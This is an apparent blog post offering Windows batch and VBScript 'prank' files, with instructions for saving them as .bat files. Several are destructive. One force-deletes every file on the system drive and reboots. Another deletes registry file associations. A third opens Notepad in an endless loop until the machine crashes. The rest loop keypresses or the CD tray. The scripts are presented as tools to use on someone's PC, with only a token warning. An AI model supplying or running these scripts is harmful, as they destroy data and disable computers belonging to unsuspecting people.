Funny BAT Files for Pranks or Serious Damage to a PC

1) The Blue-Death Screen – Show the Fatal Blue Screen Error [Dangerous, do NOT try it at your own PC]

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

2) Stupid Shutdown – Shows a funny Error and shutdowns the PC

@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c “Error! You are too stupid!” -s -t 10



3) Delete ALL Values from the Registry [Very Dangerous] – This Action CANNOT be Undone!

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been destroyed. Have a nice day!
GOTO MESSAGE

4) Outnumbered Notepads! – This BAT shows a great number of notepads on the PC’s screen, the computer freezes and then it crashes….

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

5) Crazy Caps Lock – This Hits the Caps Lock Many times.

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

6) Unlimited Enter Hits – This hits ENTER repeatedly.

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

8) Cool Open-Close of the CD Tray – Repeatedly Open and Close the CD Tray.

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop

I hope you find these BATs Useful.

Note: A BAT is a Windows File that executes CMD commands. To create such a file, open notepad, add the content provided here, save as something like: ‘prank.bat’